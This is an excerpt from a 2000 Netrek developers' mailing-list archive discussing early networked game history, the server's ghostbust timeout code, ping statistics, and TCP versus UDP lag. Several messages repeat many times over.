References: <20000726015159.A177234@cecum.vec.wfubmc.edu> <Pine.LNX.4.04.10007260006230.3435-100000@xyzzy.dsl.speakeasy.net>
Message-ID: <20000726153103.D178066@cecum.vec.wfubmc.edu>

On Wed, Jul 26, 2000 at 12:26:32AM -0700, Trent Piepho wrote:
> 
> But I wonder, was netrek the first graphical real-time internet game?
> It predates xpilot, xtank, xbattle, and crossfire.  xconq was
> ported to X10 in 1987, but it's turned based, and I'm not sure it predates
> netrek though it could.

Well, Netrek's predecessor Xtrek predates these games.  It's also possible
that Netrek is the first real-time internet game based on a client-server
architecture.  Correct me if I'm wrong, but the above games (including Xtrek)
used peer-to-peer or multiple X clients off a single machine.

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From xyzzy at speakeasy.org  Wed Jul 26 17:26:25 2000
From: xyzzy at speakeasy.org (Trent Piepho)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] FYI
In-Reply-To: <20000726153103.D178066@cecum.vec.wfubmc.edu>
Message-ID: <Pine.LNX.4.04.10007261519340.4209-100000@xyzzy.dsl.speakeasy.net>

On Wed, 26 Jul 2000, Dave Ahn wrote:
> On Wed, Jul 26, 2000 at 12:26:32AM -0700, Trent Piepho wrote:
> > 
> > But I wonder, was netrek the first graphical real-time internet game?
> > It predates xpilot, xtank, xbattle, and crossfire.  xconq was
> > ported to X10 in 1987, but it's turned based, and I'm not sure it predates
> > netrek though it could.
> 
> Well, Netrek's predecessor Xtrek predates these games.  It's also possible
> that Netrek is the first real-time internet game based on a client-server
> architecture.  Correct me if I'm wrong, but the above games (including Xtrek)
> used peer-to-peer or multiple X clients off a single machine.

I was including xtrek when I talked about netrek.  xconq for instance used X10
for network play the same way xtrek did, and was made client/server around
1989.  I'm pretty sure that xpilot also went to a specialized client/server
instead of using X.


From ddamout1 at san.rr.com  Wed Jul 26 22:49:20 2000
From: ddamout1 at san.rr.com (Daniel Damouth)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] FYI
References: <20000726015159.A177234@cecum.vec.wfubmc.edu> <Pine.LNX.4.04.10007260006230.3435-100000@xyzzy.dsl.speakeasy.net> <20000726153103.D178066@cecum.vec.wfubmc.edu>
Message-ID: <001801bff77d$a6faf320$978d1e18@san.rr.com>

----- Original Message -----
From: "Dave Ahn" <ahn@vec.wfubmc.edu>


[...]
> It's also possible
> that Netrek is the first real-time internet game based on a client-server
> architecture.  Correct me if I'm wrong, but the above games (including
Xtrek)
> used peer-to-peer or multiple X clients off a single machine.

Yes, they did.  The unix strategy game empire is another client-server
real-time internet game (though not graphical) that goes wayyyy back.  I
can't seem to find a history file right now, but it goes back at least into
the 80's.

empire has never used encryption;  individualized smart clients are part of
the game.  I used to write my own tools to play.

-Dan Damouth



From ahn at vec.wfubmc.edu  Wed Jul 26 23:10:28 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] FYI
In-Reply-To: <001801bff77d$a6faf320$978d1e18@san.rr.com>; from ddamout1@san.rr.com on Wed, Jul 26, 2000 at 08:49:20PM -0700
References: <20000726015159.A177234@cecum.vec.wfubmc.edu> <Pine.LNX.4.04.10007260006230.3435-100000@xyzzy.dsl.speakeasy.net> <20000726153103.D178066@cecum.vec.wfubmc.edu> <001801bff77d$a6faf320$978d1e18@san.rr.com>
Message-ID: <20000727001028.A180033@cecum.vec.wfubmc.edu>

On Wed, Jul 26, 2000 at 08:49:20PM -0700, Daniel Damouth wrote:
> 
> Yes, they did.  The unix strategy game empire is another client-server
> real-time internet game (though not graphical) that goes wayyyy back.  I
> can't seem to find a history file right now, but it goes back at least into
> the 80's.

http://www.ecst.csuchico.edu/~netrek/history/

> individualized smart clients are part of the game.
> I used to write my own tools to play.

Empire was awesome.  Those smart scripting clients were definitely critical
to playing well.  There was just no way to do everything within the daily
time limit.  Our computer room also had some extra wide type-set printers
(200 column+) that were particularly good for printing out huge maps.

I actually stopped playing Empire just as the X based clients got introduced.
There were some pretty nifty VT340 graphics clients later on, too.

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From jeffno at ccs.neu.edu  Fri Jul 28 04:35:46 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] Ghostbust code
Message-ID: <200007280935.e6S9Zkw00524@denali.ccs.neu.edu>

Ok, we've been having a discussion on rgn about the ghostbust code,
and it should really be here.

Regarding:

> >   if (ping_allow_ghostbust && me->p_status == PALIVE && ping_ghostbust >
> >
> > Isn't it possible they bust in some other state?  Shouldn't that be
> > "!= PFREE"?
>
> It would be redundant and in some cases harmful.
>
> Each of the other states already has explicit ghostbust behavior.
> (they're all at either 3 or 6 minutes for outfit and login, respectively)
> PALIVE is the only indeterminate length state that we care about
> ghostbust in.

How would it be harmful?  If we aren't getting pings back during login
or outfit, why not ghostbust it sooner?  Consider that most people who
bust get killed.  And what about observers?  What if some slot gets
stuck in state PDEAD for some reason; shouldn't happen, but who knows?
In short, I think we need robust ping-ghostbust code that handles all
cases.

Sending ping requests down TCP: Perhaps it would be better to
ghostbust clients having TCP trouble, perhaps not.  At some point,
people hosed TCP but not UDP will kill their client if they are stuck,
which should be caught by ghostbuster code.  So for now I say make
ghostbust code robust, and think about sending ping via TCP later on.

Testing hosed link: I can't hose my routing tables, because I don't
have two client machines to test from.  I need to be able to hose just
a single client connection while running an observer client from the
same machine.  I guess I could modify a client to not send ping
requests back.

And while we're on the subject of pings, wouldn't it be useful to have
a ping stat for the last minute?

-Jeff

Carlos Villalpando <unbelver@earthlink.net> writes:
>
> In article <8766pr4x55.fsf@ccs.neu.edu>, jeffno@ccs.neu.edu says...
> > Carlos Villalpando <unbelver@earthlink.net> writes:
> > >
> > > Ghostbust kicks in if you're waiting too long at the refit window, or if
> > > ping is enabled, you miss sending CP_PING_RESPONSE to 5 consecutive
> > > SP_PING requests. (but set to 60 pings (or 2 minutes) in the .sysdef
> > > file)
> >
> > I'm confused.
>
> I'm here to help *grin*.
>
> >  Where is it 5 if the .sysdef is setting the option?
>
> The default values in data.c.  data.c defines them as 1 second ping, 5
> ping misses, and ping_allow_ghostbust is disabled.
>
> > And why is .sysdef set to 2 minutes?
>
> Beats me.  Somebody got to the sample_sysdef before we did?
>
> In the sysdef, its 2 seconds, 60 misses and ping_allow_ghostbust enabled.
>
>
> > > Lets try a simple fix first.
> > >
> > > For the server side, make SP_PING a "critical packet."  Critical packets
> > > always get sent down the TCP pipe.
> >
> > What is this fixing?
>
> Well, its moving the ping request to the link that is more sensitive of
> the two links.  UDP can handle missing a few packets or so and _some_
> ping request/responses are likely to get through even if half the link is
> hosed.  If half the link is hosed for TCP, the pipe will stall and ping
> requests won't make it.  Since ping requests won't make it, client will
> never send ping replies and that will trigger the ghostbust timer more
> often.
>
> Like I said earlier, it is quite possible for network performance to be
> just bad enough not to affect the UDP link too badly, but hose the TCP
> link.  Without the TCP link, you can't, in a timely manner, send or read
> messages, die/rejoin, or do any other critical stuff.  I've personally
> sat trying to rejoin for 5 minutes on continuum and miserably failing,
> while watching what looked to be a good game on the galactic.  My UDP
> link was fine but my TCP link died about 90 seconds before my ship died
> and didn't start up again until 6 minutes later. In those 90 seconds,
> gameplay for me was still very good until I died.. Since pings/responses
> were being sent on the UDP pipe, I never triggered the GB timer.
>
> >  [testing network failure] isn't easy for me to test.
>
> Try putting in a bogus host route on your client machine to the server IP
> address.  That should simulate a dead client->server link.  Or if you
> have access to any of the routers along the way, you can do both
> directions.  You can add and delete the bogus routes to simulate a
> marginal link.
>
> > There also might be a problem in the ping ghostbust.  p_status must be
> > PALIVE.  In input.c:
> >
> >   if (ping_allow_ghostbust && me->p_status == PALIVE && ping_ghostbust >
> >
> > Isn't it possible they bust in some other state?  Shouldn't that be
> > "!= PFREE"?
>
> [reads code....]
>
> It would be redundant and in some cases harmful.
>
> Each of the other states already has explicit ghostbust behavior.
> (they're all at either 3 or 6 minutes for outfit and login, respectively)
> PALIVE is the only indeterminate length state that we care about
> ghostbust in.
>
> In article <8lqqab$10v$1@venturi.cfr.washington.edu>,
> tap@venturi.cfr.washington.edu (Trent Piepho) says:
>
> > Hmm, so how does this fix anything?
>
> See above.
>
> > It will make the ping times wrong.
>
> Once there is significant lossage, yes.  s->c loss will always be -1 but
> c->s will still be correct.  If there's no pipe stall, rtt should be the
> same.
>
> Ping times, as currently written, however are rarely ever correct once
> you get lossage, anyway. Its a running average.  Monday on continuum, my
> game started out with horrendous, and unplayable lag.  At one point my
> std dev was at 2200ms. Average rtt was up in the 1600ms range.  After
> about 10 minutes or so the network cleared up and instantaneous pings
> dropped into the 90ms range with a sub 10ms std. dev.  My reported ping
> times, however never matched in the 2 hours I played that game.  At the
> end, my reported std. dev was in the 300ms range and my reported rtt was
> in the 130ms range.
>
> To summarize: I don't think it matters.
>
> --Carlos V.

From karthik at arumugham.com  Fri Jul 28 08:44:32 2000
From: karthik at arumugham.com (Karthik Arumugham)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] Ghostbust code
In-Reply-To: <200007280935.e6S9Zkw00524@denali.ccs.neu.edu>
Message-ID: <Pine.LNX.4.20.0007280919100.28751-100000@k6.crackaddict.com>

On Fri, 28 Jul 2000, Jeffrey Nowakowski wrote:

> Sending ping requests down TCP: Perhaps it would be better to
> ghostbust clients having TCP trouble, perhaps not.  At some point,
> people hosed TCP but not UDP will kill their client if they are stuck,
> which should be caught by ghostbuster code.  So for now I say make
> ghostbust code robust, and think about sending ping via TCP later on.

This would skew the rtt/stdev stats a lot too, as TCP can have
multi-second-pauses due to packet loss or whatever while the UDP keeps
going with barely a problem...

> Testing hosed link: I can't hose my routing tables, because I don't
> have two client machines to test from.  I need to be able to hose just
> a single client connection while running an observer client from the
> same machine.  I guess I could modify a client to not send ping
> requests back.

Since you run Linux, make a kernel with ipfwadm/ipchains/whatever your
kernel version supports. You can easily test breaking any combination of
the inbound/outbound UDP/TCP. Then you'll still need a way to run the obs
client... (Maybe over an ssh-forwarded X connection; this works fine over
dialup if you reduce the number of updates somewhat.)

> And while we're on the subject of pings, wouldn't it be useful to have
> a ping stat for the last minute?

Extremely. I'd also like to see a couple more values added, perhaps
something like jitter (which I consider to be variations in the
1/10th-second @ 10 ups spacing of the frames received; it won't affect
your reported lag, but it makes the game all jerky).

Also, it'd be nice to throw away all packets over a certain age (say 5
seconds or so) from the calculations. Consider this scenario below which
has always annoyed me about the lag calculations:

A player has 200ms lag over dialup. Every 5 minutes, he gets a 15 second
freeze while his modem retrains, after which the packets from those 15
seconds come through. His lag ends up being reported as something like
300ms avg 400ms stdev (you've all seen modem players with apparent lag
like that) with approx 0%/0% loss. Other than that, there are no
freezes/burps/etc.

Another player has 200ms lag over a LAN connection in some far-off
country. Every 5 minutes, he gets a 15 second freeze with no inbound
packets; these dropped packets are not resent. His lag ends up being
reported as 200ms avg 10ms stdev with 5%/0% loss.

Both players have equal lag in reality, but the top player has it reported
as being far worse...


From jeffno at ccs.neu.edu  Fri Jul 28 21:21:50 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] Ghostbust code (fwd)
Message-ID: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>

Carlos sent this reply to me by accident; forwarding by request.

-Jeff

Forwarded message:
From jeffno at ccs.neu.edu  Fri Jul 28 21:21:50 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] Ghostbust code (fwd)
Message-ID: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>

Carlos sent this reply to me by accident; forwarding by request.

-Jeff

Forwarded message:
From jeffno at ccs.neu.edu  Fri Jul 28 21:21:50 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] Ghostbust code (fwd)
Message-ID: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>

Carlos sent this reply to me by accident; forwarding by request.

-Jeff

Forwarded message:
From jeffno at ccs.neu.edu  Fri Jul 28 21:21:50 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:51:59 2005
Subject: [Vanilla List] Ghostbust code (fwd)
Message-ID: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>

Carlos sent this reply to me by accident; forwarding by request.

-Jeff

Forwarded message:
From jeffno at ccs.neu.edu  Fri Jul 28 21:21:50 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:52:00 2005
Subject: [Vanilla List] Ghostbust code (fwd)
Message-ID: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>

Carlos sent this reply to me by accident; forwarding by request.

-Jeff

Forwarded message:
From unbelver at brain.jpl.nasa.gov  Fri Jul 28 21:49:14 2000
From: unbelver at brain.jpl.nasa.gov (Carlos Y. Villalpando)
Date: Wed Jan 12 00:52:00 2005
Subject: [Vanilla List] Ghostbust code
In-Reply-To: <Pine.LNX.4.20.0007280919100.28751-100000@k6.crackaddict.com>; from karthik@arumugham.com on Fri, Jul 28, 2000 at 09:44:32AM -0400
References: <200007280935.e6S9Zkw00524@denali.ccs.neu.edu> <Pine.LNX.4.20.0007280919100.28751-100000@k6.crackaddict.com>
Message-ID: <20000728194914.A28691@skyweir.jpl.nasa.gov>

Quoting Karthik Arumugham <karthik@arumugham.com>:

> Also, it'd be nice to throw away all packets over a certain age (say 5
> seconds or so) from the calculations. 

Its set to 10 seconds (or negative time as well) in the current
source.

--Carlos V.

From jeffno at ccs.neu.edu  Fri Jul 28 21:21:50 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:52:00 2005
Subject: [Vanilla List] Ghostbust code (fwd)
Message-ID: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>

Carlos sent this reply to me by accident; forwarding by request.

-Jeff

Forwarded message:
From unbelver at brain.jpl.nasa.gov  Fri Jul 28 21:49:14 2000
From: unbelver at brain.jpl.nasa.gov (Carlos Y. Villalpando)
Date: Wed Jan 12 00:52:00 2005
Subject: [Vanilla List] Ghostbust code
In-Reply-To: <Pine.LNX.4.20.0007280919100.28751-100000@k6.crackaddict.com>; from karthik@arumugham.com on Fri, Jul 28, 2000 at 09:44:32AM -0400
References: <200007280935.e6S9Zkw00524@denali.ccs.neu.edu> <Pine.LNX.4.20.0007280919100.28751-100000@k6.crackaddict.com>
Message-ID: <20000728194914.A28691@skyweir.jpl.nasa.gov>

Quoting Karthik Arumugham <karthik@arumugham.com>:

> Also, it'd be nice to throw away all packets over a certain age (say 5
> seconds or so) from the calculations. 

Its set to 10 seconds (or negative time as well) in the current
source.

--Carlos V.

From jeffno at ccs.neu.edu  Fri Jul 28 21:21:50 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:52:00 2005
Subject: [Vanilla List] Ghostbust code (fwd)
Message-ID: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>

Carlos sent this reply to me by accident; forwarding by request.

-Jeff

Forwarded message:
From unbelver at brain.jpl.nasa.gov  Fri Jul 28 21:49:14 2000
From: unbelver at brain.jpl.nasa.gov (Carlos Y. Villalpando)
Date: Wed Jan 12 00:52:00 2005
Subject: [Vanilla List] Ghostbust code
In-Reply-To: <Pine.LNX.4.20.0007280919100.28751-100000@k6.crackaddict.com>; from karthik@arumugham.com on Fri, Jul 28, 2000 at 09:44:32AM -0400
References: <200007280935.e6S9Zkw00524@denali.ccs.neu.edu> <Pine.LNX.4.20.0007280919100.28751-100000@k6.crackaddict.com>
Message-ID: <20000728194914.A28691@skyweir.jpl.nasa.gov>

Quoting Karthik Arumugham <karthik@arumugham.com>:

> Also, it'd be nice to throw away all packets over a certain age (say 5
> seconds or so) from the calculations. 

Its set to 10 seconds (or negative time as well) in the current
source.

--Carlos V.

From jeffno at ccs.neu.edu  Fri Jul 28 21:21:50 2000
From: jeffno at ccs.neu.edu (Jeffrey Nowakowski)
Date: Wed Jan 12 00:52:00 2005
Subject: [Vanilla List] Ghostbust code (fwd)
Message-ID: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>

Carlos sent this reply to me by accident; forwarding by request.

-Jeff

Forwarded message:
From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:00 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From quozl at us.netrek.org  Sat Jul 29 01:45:31 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Ghostbust code (fwd)
In-Reply-To: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>; from jeffno@ccs.neu.edu on Fri, Jul 28, 2000 at 10:21:50PM -0400
References: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>
Message-ID: <20000729164531.D1359@us.netrek.org>

While we are in the area, I'm still not certain that the recovery from
a broken TCP/IP connection actually works.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From quozl at us.netrek.org  Sat Jul 29 01:45:31 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Ghostbust code (fwd)
In-Reply-To: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>; from jeffno@ccs.neu.edu on Fri, Jul 28, 2000 at 10:21:50PM -0400
References: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>
Message-ID: <20000729164531.D1359@us.netrek.org>

While we are in the area, I'm still not certain that the recovery from
a broken TCP/IP connection actually works.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From quozl at us.netrek.org  Sat Jul 29 01:45:31 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Ghostbust code (fwd)
In-Reply-To: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>; from jeffno@ccs.neu.edu on Fri, Jul 28, 2000 at 10:21:50PM -0400
References: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>
Message-ID: <20000729164531.D1359@us.netrek.org>

While we are in the area, I'm still not certain that the recovery from
a broken TCP/IP connection actually works.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From quozl at us.netrek.org  Sat Jul 29 01:45:31 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Ghostbust code (fwd)
In-Reply-To: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>; from jeffno@ccs.neu.edu on Fri, Jul 28, 2000 at 10:21:50PM -0400
References: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>
Message-ID: <20000729164531.D1359@us.netrek.org>

While we are in the area, I'm still not certain that the recovery from
a broken TCP/IP connection actually works.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From doosh at best.com  Sat Jul 29 01:04:09 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Re: your mail
In-Reply-To: <no.id>; from unbelver@brain.jpl.nasa.gov on Sat, Jul 29, 2000 at 03:24:51AM +0000
Message-ID: <20000728230409.A26165@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 03:24:51AM +0000, unbelver@brain.jpl.nasa.gov wrote:
> 
> But really, are ping stats really important?  There are only 2 cases
> where I've seen ping stats being used.  The first is at the end of an
> INL game report, and the 2nd is for offence scummers to find someone
> to pick on.  We'll there's 3.  I use it to see how my network is
> doing, but I use instantaneous pings for that, not the running
> average.

Weenies like leemy use it to justify forcing people to play with 50%
loss, because for the first 15 minutes of the game it was 0%, so the
reported ping stats say 10%.
 -Tom

From quozl at us.netrek.org  Sat Jul 29 01:45:31 2000
From: quozl at us.netrek.org (James Cameron)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] Ghostbust code (fwd)
In-Reply-To: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>; from jeffno@ccs.neu.edu on Fri, Jul 28, 2000 at 10:21:50PM -0400
References: <200007290221.e6T2LoK14887@denali.ccs.neu.edu>
Message-ID: <20000729164531.D1359@us.netrek.org>

While we are in the area, I'm still not certain that the recovery from
a broken TCP/IP connection actually works.

-- 
James Cameron    mailto:quozl@us.netrek.org     http://quozl.netrek.org/

From zu22 at andrew.cmu.edu  Sat Jul 29 04:23:46 2000
From: zu22 at andrew.cmu.edu (Zachary Uram)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] UDP vs TCP?
In-Reply-To: <20000729164531.D1359@us.netrek.org>
Message-ID: <Pine.SOL.3.96L.1000729052222.441C-100000@unix12.andrew.cmu.edu>

I've noticd that when I select UDP netrek seems much laggier
versus when I select UDP. I am wondering why this is? What makes
the one protocol faster than the other?

SDG,
Zach

________________________________________________________
uram@cmu.edu
"Blessed are those who have not seen and yet have faith." - John 20:29


From zu22 at andrew.cmu.edu  Sat Jul 29 04:58:21 2000
From: zu22 at andrew.cmu.edu (Zachary Uram)
Date: Wed Jan 12 00:52:01 2005
Subject: ADDENDUM (Re: [Vanilla List] UDP vs TCP?)
In-Reply-To: <Pine.SOL.3.96L.1000729052222.441C-100000@unix12.andrew.cmu.edu>
Message-ID: <Pine.SOL.3.96L.1000729055027.441G-100000@unix12.andrew.cmu.edu>

On Sat, 29 Jul 2000, Zachary Uram wrote:
> I've noticed that when I select UDP netrek seems much laggier

Doh! That should be "TCP" above, not "UDP".

> versus when I select UDP. I am wondering why this is? What makes
> the one protocol faster than the other?

________________________________________________________
uram@cmu.edu
"Blessed are those who have not seen and yet have faith." - John 20:29


From doosh at best.com  Sat Jul 29 10:48:12 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:52:01 2005
Subject: [Vanilla List] UDP vs TCP?
In-Reply-To: <Pine.SOL.3.96L.1000729052222.441C-100000@unix12.andrew.cmu.edu>; from zu22@andrew.cmu.edu on Sat, Jul 29, 2000 at 05:23:46AM -0400
References: <20000729164531.D1359@us.netrek.org> <Pine.SOL.3.96L.1000729052222.441C-100000@unix12.andrew.cmu.edu>
Message-ID: <20000729084812.A15368@shell3.ba.best.com>

On Sat, Jul 29, 2000 at 05:23:46AM -0400, Zachary Uram wrote:
> I've noticd that when I select UDP netrek seems much laggier
> versus when I select UDP. I am wondering why this is? What makes
> the one protocol faster than the other?

TCP guarantees that packets arrive in sequence.  So if you lose a packet,
the whole stream freezes waiting on it to arrive; after a TCP timeout,
it gets resent, and then the stream catches up.  This really sucks from
a netrek standpoint; you may be waiting on something trivial like 
an update of torp or ship positions, when the data in the next packet
would update the same information again.  

UDP does not have any guaranteed delivery, so dropped packets are just
dropped.  In netrek, TCP is used for a few kinds of information, like
messages, and UDP is used for the rest (if you turn it on).
 -Tom

From norfleet at iat.yi.org  Mon Jul  3 09:33:27 2000
From: norfleet at iat.yi.org (Milton Norfleet)
